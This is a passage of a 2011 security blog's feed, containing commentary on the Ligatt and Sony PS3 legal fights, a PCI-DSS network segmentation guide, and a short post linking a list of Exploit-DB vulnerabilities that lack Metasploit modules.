href="http://twitter.com/#!/carnal0wnage"&gt;Chris Gates&lt;/a&gt;, aka &lt;a href="http://carnal0wnage.blogspot.com/"&gt;carna0wnage&lt;/a&gt;&amp;nbsp;was one of the&amp;nbsp;authors&amp;nbsp;whose material appeared in the book. Gates denied ever&amp;nbsp;receiving&amp;nbsp;any payment or giving permission to Evans to use his material in the book. The material is so obviously ripped off, Evans even sued the same screenshots which include Chris Gates' name in the login prompts.&lt;br /&gt;&lt;br /&gt;Enough about the gory details though. Suffice it to say, the Evans/Ligatt drama continued on. Evans fought back in the only way he seems to know how. He filed lawsuits. He filed quite a few lawsuits actually. He tried suing anyone and everyone he could that has ever said anything bad about him on the internet. Most of these lawsuits have failed&amp;nbsp;completely, but that didn't stop Evans. Recently, on Gregory Evans' birthday, his email and twitter accounts were hacked. All of his email was leaked into a torrent on the internet and distributed. Since the leak of his email, one&amp;nbsp;embarrassing&amp;nbsp;piece&amp;nbsp;of evidence after another surfaces from the spool. &amp;nbsp;Many of these documents were reposted to the LigattLeaks blog, which was originally hosted on&amp;nbsp;WordPress. &amp;nbsp;Evans and Ligatt sent take-down demands to wordpress and the registrar for LiogattLeaks.org. Wordpress&amp;nbsp;capitulated&amp;nbsp;in the face of any&amp;nbsp;possible&amp;nbsp;legal ramifications, whether there was solid legal basis or not.&lt;br /&gt;&lt;br /&gt;LigattLeaks has since moved on to a site at http://ligattleaks.blogs.ru and continues to post with impunity.&amp;nbsp;Since&amp;nbsp;LigattLeaks themselves claim they do not possess the mailspool and are only reposting things found on pastebin, they seems to be&amp;nbsp;under&amp;nbsp;no legal liability. The actual consequences of these leaks for Evans or Ligatt? Aside from a lot of embarassment, and a&amp;nbsp;&lt;a href="http://www.casttv.com/video/mz962yc/ligatt-security-gregory-evans-exposed-on-evening-news-cbs-atlanta-feb-14-2011-video"&gt;local news story&lt;/a&gt;&amp;nbsp;, there has yet to be any serious consequence seen from this. however, Evan's litigious assaults on the infosec community seemed to have&amp;nbsp;had&amp;nbsp;no real effect either. So right now I'm calling this one a draw at the moment.&lt;br /&gt;&lt;br /&gt;Now let's move on to the Sony PS3 case. The folks over at Fail0verflow got their hands on the keys used to sign software for the ps3. Well known&amp;nbsp;hardware&amp;nbsp;hacker GeoHot then built on this and created a modkit to allow&amp;nbsp;home brew&amp;nbsp;software to run on the ps3. Sony claims that this will only serve to enable&amp;nbsp;piracy&amp;nbsp;on their game consoles. they file suit against Geo Hot, subpoena all of his computer equipment and issue&amp;nbsp;orders&amp;nbsp;for his&amp;nbsp;instructional&amp;nbsp;videos to be stripped from the internet. In response the instructions, examples, and encryption keys are spread across the internet. Before the case against Geohot has even begun, sony is now trying to use the legal system to gain information on every&amp;nbsp;person&amp;nbsp;who viewed or commented on GeoHot's video on youtube. They are also seeking legal action against anyone who posts the encryption keys. This drama is still under way but I'm&amp;nbsp;going&amp;nbsp;to go ahead and call it now: Sony will&amp;nbsp;lose, no matter what the trial outcome.&lt;br /&gt;&lt;br /&gt;There is already a&amp;nbsp;huge&amp;nbsp;public outcry against Sony over this action. They may have already caused themselves&amp;nbsp;irreparable&amp;nbsp;brand damage. They have increased the actual awareness of these hacks. And there&amp;nbsp;is&amp;nbsp;no way that they can successfully&amp;nbsp;suppress&amp;nbsp;the information once it has begun disseminating through the internet. They are trying to stuff the proverbial Geenie back in the bottle. One has to wonder why they are doing this. They will not be able to recoup any&amp;nbsp;significant&amp;nbsp;losses. they won't be able to&amp;nbsp;suppress&amp;nbsp;the information. They are trying to lay down intimidation tactics. These intimidation tactics are of&amp;nbsp;course&amp;nbsp;having the &lt;a href="http://en.wikipedia.org/wiki/Streisand_effect"&gt;opposite effect&lt;/a&gt;. One has to wonder if anonymous or another group won't turn it's attention towards the Sony mega-corporation. It would be very itneresting to see a battle between Anonymous and such a &amp;nbsp;huge&amp;nbsp;company.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are three examples of folks in the&amp;nbsp;Corporate&amp;nbsp;world trying to control and shape the Internet for their own&amp;nbsp;benefit. All of them are failing&amp;nbsp;miserably, and they are all starting to pay a heavy price for it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-1690635432661250576?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/1690635432661250576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/02/of-hacks-leaks-and-legal-battles-is.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1690635432661250576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1690635432661250576'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/02/of-hacks-leaks-and-legal-battles-is.html' title='Of Hacks, Leaks, and Legal Battles : Is anyone really winning?'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4682425447988374276</id><published>2011-02-11T12:53:00.000-08:00</published><updated>2011-02-11T12:59:22.888-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='compliance'/><category scheme='http://www.blogger.com/atom/ns#' term='SOX'/><category scheme='http://www.blogger.com/atom/ns#' term='HIPPA'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='PCI'/><title type='text'>PCI-DSS :  You gotta Keep Em Separated!</title><content type='html'>&lt;div class="MsoNormal"&gt;I turn to the Offspring for a bit of lyrical wisdom in terms of my latest PCI-DSS ramblings. All humour&amp;nbsp;aside,&amp;nbsp;please&amp;nbsp;pay attention to what I am about to tell you. I cannot stress this enough:&lt;/div&gt;&lt;div class="MsoNormal"&gt;The number one thing you should focus on for PCI-DSS is Network Segmentation. If you do not employ&amp;nbsp;proper&amp;nbsp;network segmentation, your PCI compliance efforts will be painful at the best, and a disaster at the worst.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Maybe your company already handles HIPPA/HITECH &amp;nbsp;or SOX. Maybe you have had some other security initiatives running for a while. That's great. PCI-DSS is a very different game, and if you don't segment your network, you will drown in work.&amp;nbsp;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;You may have other&amp;nbsp;confidentiality&amp;nbsp;requirements in place. You may be tempted to place HIPPA Data or sensitive financial data in the same network segments as your PCI data. I am telling you now, resist that temptation. It may seem like a perfectly reasonable approach, but it should be avoided if possible.&lt;/div&gt;&lt;div class="MsoNormal"&gt;With proper segmentation of your networks, you give yourself the opportunity to approach your goals in a phased risk-based approach. This will help maximize your efficiency when try to achieves these goals, and will also ensure that you are adding the most possible security benefit at each step of the process. &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Completion of this Network Segmentation depends upon some sort of systems Inventory Process. You need to be aware of exactly what is in your environment, how they interact, and what their roles are. Without this, you will fail to segment your network properly and will never be able to truly add meaningful security as a whole.&lt;/div&gt;&lt;div class="MsoNormal"&gt;Let's say that you have three primary Information Security concerns. PCI,HIPPA, and SOX. This means you are concerned with 4 primary data classifications:&lt;/div&gt;&lt;div class="MsoNormal"&gt;1.PCI Data (Credit Card #s , Expiration Dates, CCVs etc)&lt;/div&gt;&lt;div class="MsoNormal"&gt;2.PII/HIPPA Data ( Any personally identifieable information and healthcare data)&lt;/div&gt;&lt;div class="MsoNormal"&gt;3.Financial&amp;nbsp;Reporting Data&lt;/div&gt;&lt;div class="MsoNormal"&gt;4.Everything Else&lt;/div&gt;&lt;div class="MsoNormal"&gt;Let's talk about a perfect scenario where you are a fairly sizable company, and you have a solid budget for this security initiative you are undertaking. That being said, we will go ahead and break down #4 into some additional categories that will help with your&amp;nbsp;overall&amp;nbsp;security posture&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;1.Critical Infrastructure (Servers and Network Devices that are responsible for core business applications and services. i.e. Email, Telephony, Primary Line of business applications etc)&lt;/div&gt;&lt;div class="MsoNormal"&gt;2.Desktop Ranges (where all of your users should be sitting)&lt;/div&gt;&lt;div class="MsoNormal"&gt;3.QA/DEV Environments (Even if you are not doing any in-house&amp;nbsp;development, you should have some QA environments to test things like configuration changes. Keeping these&amp;nbsp;separate&amp;nbsp;is important for a number of reasons we will get into later)&lt;/div&gt;&lt;div class="MsoNormal"&gt;4.Non-Critical systems (everything else)&lt;/div&gt;&lt;div class="MsoNormal"&gt;So now we essentially have 7 distinct areas mapped out. Let's talk a bit more about each of these areas.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;PCI Data&lt;/u&gt;&lt;/b&gt; – This area will include any device that Stores, Processes, or Transmits Credit Card data as defined by the PCI-Council. In our scenario, this is the area that is going to be subject to some of the most stringent security requirements. This area should be strongly separated from all of the other regions, permitting as little contact between these networks and any others as possible. The rule of thumb should be Deny by Default. These hosts will all be subjected to regular vulnerability scanning and penetration testing efforts. Any applications hosted in this environment should be subject to source code review and Application Security Assessments.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Within the PCI environment, the hosts should be further separated where possible. Any external(Internet) facing Presentation layer should be strongly segmented away from the Application and Data layers. This is to try and mitigate the chances that your presentation layer will be sued as an entry vector deeper into the environment.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;PII/HIPPA Data&lt;/u&gt;&lt;/b&gt; – This area is going to be a concern from a regulatory standpoint as well. However, HIPPA's guidelines on security requirements are nowhere near as stringent as those set forth by PCI. Your company should create a set of standards and ensure that they are applied against all hosts in this environment. These standards should include topics like Access Control, Encryption (transport and at rest), approved applications, approved services etc. The environment should be audited regularly to ensure that these standards are being upheld. Regular vulnerability scans should be a priority in this environment as well. Code Reviews, Application Security Assessments and penetration tests should be a goal, but should take a lower priority to completing these same tasks within the PCI environment.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;It is possibly even more important that the External facing Presentation Layer be segmented off from the rest of the environment here. This is because any Internet facing hosts are in-scope for PCI external vulnerability scanning and penetration testing. If you do not segment the rest of the PII zone off, you can quickly find this entire zone considered in scope for PCI as well. This will mean that you will now be required to enforce the same standards on this environment that you do in the PCI Zone. This may not seem like a bad thing, but the work load can get out of hand quickly.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;Financial Reporting Data&lt;/u&gt;&lt;/b&gt; – This is the zone where your SOX standards come into play. SOX is, in my experience, one of the most vague sets of standards out there. It mandates that Financial reporting data be secured to maintain accuracy and integrity. The big concern in this Zone can be summed up in a word : Accountability. If we apply the CIA model(Confidentiality, Integrity, Availability) to this Zone, we will see that Integrity is our number one concern, followed by Integrity, and Availability come in a very distant third.&lt;/div&gt;&lt;div class="MsoNormal"&gt;What you should focus on:&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;User Account Management&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Access Control&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Auditing/Activity Monitoring&lt;/div&gt;&lt;div class="MsoNormal"&gt;The focus here is going to be a lot more process oriented than technical. Ensure that user accounts are set up properly on all systems, with only the access they need. Make sure there is no sharing of accounts, or use of generic accounts. Make sure that activity on all Financial Reporting systems is logged for auditing to maintain maximum accountability.&lt;/div&gt;&lt;div class="MsoNormal"&gt;Regular audits should be done on this zone to ensure all standards and policies are being properly observed within the zone.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Regular vulnerability scanning in this Zone may be a good idea, but is not a must. If time and resources allow Source Code Review, Application security Assessments, and Penetration Tests should be performed to help validate the security mechanisms in place.&lt;/div&gt;&lt;div class="MsoNormal"&gt;Like the other zones, any Internet facing Presentation Layer should be segmented from the rest of the zone as much as possible. Remember, all Internet facing hosts are subject to PCI.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;Critical Infrastructure &lt;/u&gt;&lt;/b&gt;– The separation of this Zone is probably going to be less dramatic than with the ones we’ve just discussed. It is still a good idea to tightly control the flow of data in and out of this zone though. Regular Vulnerability scans should be performed in this Zone, but only after the above Zones have reached a point in their maturity where the Vulnerability Management efforts are running smoothly. That will allow you to have time for working with System Admins on remediating any findings. Availability may be a much larger concern in this Zone than in some of the others. This zone represents the core of your operations and should be treated carefully. In addition to the Vulnerability Scans, Penetration Testing efforts are a very good idea in this zone.&lt;/div&gt;&lt;div class="MsoNormal"&gt;Do I need to say it again? Any Presentation Layer facing the Internet needs to be additionally segmented. I think you’ve probably got this idea down pat by now.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;Desktop Ranges&lt;/u&gt;&lt;/b&gt; – Desktop networks are a tricky subject. They should be segregated out as much as possible for a couple reasons. One is that you don’t want a compromise of the outer systems to be able to get into the Desktop networks and run amok. Secondly, you don’t want the opposite to happen. Desktop ranges are honestly going to be the most likely entry vector into your network. A lot of attacks on companies start by tricking users into going to web page, or opening a file that they shouldn’t.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;If your desktop users have unfettered access, then it is game over.&lt;/div&gt;&lt;div class="MsoNormal"&gt;I cannot stress the importance of applying standards here. Some chief things to think about when looking at standards for your Desktop networks:&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;1.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Approved Software – Make sure you know what software is safe to run on machines, and don’t allow any other software to be installed without authorization.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;2.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Update management – Make sure that all approved software can be updated in a controlled and uniform manner.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;3.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;File Shares – In my experience as Penetration Tester, this is where you see the most heinous failures. Users often open up shares on their computers to trade files back in forth. The problem is that they do not necessarily know how to secure those shares properly&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;4.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Running Services – If your desktops are all running Windows Messenger or Chargen, you better have a good reason for it. Aside from these obvious concerns, also think about things like Remote Registry. Remote Registry allows for a lot of troubleshooting and remote administration, but it also opens potential security risks. Weigh the benefits and risks accordingly for your environment.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;5.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Anti-virus – I don’t think I need to explain this.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;6.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Account Policies – Password complexity, expiration, and lockout policies. Also policies on shared or generic accounts. This also applies to the Local Administrator account. If all of your Desktops run with the same local Admin password, it will only take one Desktop being compromised for this entire Zone to be in danger.&lt;/div&gt;&lt;div class="MsoNormal"&gt;Vulnerability scanning on Desktop ranges is not an easy decision point. There are benefits and risks associated with this activity. As previously stated, the Desktops are going to be one of your most likely entry vectors for an attack. However Vulnerability scans can be potential disruptive, and if you are doing Authenticated scans, you may return a lot more results than you are going to want to look at. If you decide to do Authenticated Vulnerability scans, it will be very important that you have items 1 and 2 from above firmly in place first.&lt;/div&gt;&lt;div class="MsoNormal"&gt;There really shouldn’t be anything to do in terms of Sources Code Review, or AppSec Assessments here.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Penetration Test efforts will almost certainly have a field day in this zone. If there is anything directly Internet facing in this Zone you have done something horribly horribly wrong!&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;Non-Critical infrastructure&lt;/u&gt;&lt;/b&gt; – Let’s jump to the ‘Everything Else’ group for a second. This is going to be all of your non-critical systems. These are the things that don’t handle sensitive data, and are not required for day-to-day operations to succeed. The separation of this zone should be defined by the separation and controls placed around all of the other zones. No additional work should be required for separating these hosts out. All of your security activities such as Vulnerasbility Scanning, Penetration Testing, AppSec&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Assessments, and Code Reviews should all be&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;long term goals. Start working on these only after everything is running smoothly in all of these other zones. This is the point at which you’re just cleaning up the rest of the garbage in your Enterprise. If you get to the point where you are cleaning up this Zone you are well on your way to the sustainment phase of your overall Security Initiative.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;QA/DEV Systems&lt;/u&gt;&lt;/b&gt; – QA and DEV environments are a quagmire. The best advice I can give you is as follows. &lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Separate QA and DEV out from the rest of your environment as much as possible. &lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Try to avoid any contact between QA/DEV and the internet. &lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Do not ever allow real production data to reside within a QA or Development Zone.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Do NOT Vulnerability Scan your QA and Dev environments. These zones will be extremely volatile, and will be in a&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;constant state of flux. You will be bogged down chasing vulnerabilities that disappear and reappear at random. If you have segregated these zones appropriately, there is nothing to be gained from Penetration Testing or Vulnerability Scanning in this Zone. Save yourself the headache.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Below is a crude diagram to try and help illustrate this concept. Please note that this does not reflect actual firewall or network placement. It merely tries to illustrate the segmentation.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-4bx9RcKGXas/TVWjEbycRaI/AAAAAAAAAAk/1T2bS8JYGq4/s1600/diagram.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="228" src="http://2.bp.blogspot.com/-4bx9RcKGXas/TVWjEbycRaI/AAAAAAAAAAk/1T2bS8JYGq4/s320/diagram.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4682425447988374276?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4682425447988374276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/02/pci-dss-you-gotta-keep-em-separated.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4682425447988374276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4682425447988374276'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/02/pci-dss-you-gotta-keep-em-separated.html' title='PCI-DSS :  You gotta Keep Em Separated!'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-4bx9RcKGXas/TVWjEbycRaI/AAAAAAAAAAk/1T2bS8JYGq4/s72-c/diagram.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2246510300547728795</id><published>2011-02-10T09:46:00.000-08:00</published><updated>2011-02-10T09:46:26.496-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Exploit-DB'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Dev'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploits'/><title type='text'>Metasploit Framework Wishlist</title><content type='html'>Hello World!&lt;br /&gt;&lt;br /&gt;I thought I would share something I have put together. I cross-referenced data about vulns inside&amp;nbsp;&lt;a href="http://www.exploit-db.com/"&gt;http://www.exploit-db.com/&lt;/a&gt;&amp;nbsp;with data on whether those same vulnerabilities had a known exploit module inside the Metasploit Framework. Some of these vulnerabilities are probably quite old, and some of them not very relevant. That being said, if you are looking for some modules to contribute to the Metasploit project, this&amp;nbsp;might&amp;nbsp;be a good place to start.&lt;br /&gt;&lt;br /&gt;A couple of caveats:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;I, in no way, represent Rapid 7 and the development team for Metasploit. I created this&amp;nbsp;list&amp;nbsp;for my own use to try and contribute, and am sharing the list in that spirit.&lt;/li&gt;&lt;li&gt;The links from exploit-db create PoCs/Exploits that somebody worked hard on. If you port it to metasploit please remember to give credit to the original exploit author. They did all the hard work.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://docs.google.com/leaf?id=0B1XvJY2tppv-YWJiN2NkMWMtZjRlMi00MDAzLTg1NDYtYWY5ZGI0OWVkNGEx&amp;amp;hl=en&amp;amp;authkey=CPORudEJ"&gt;The List is Here&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2246510300547728795?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 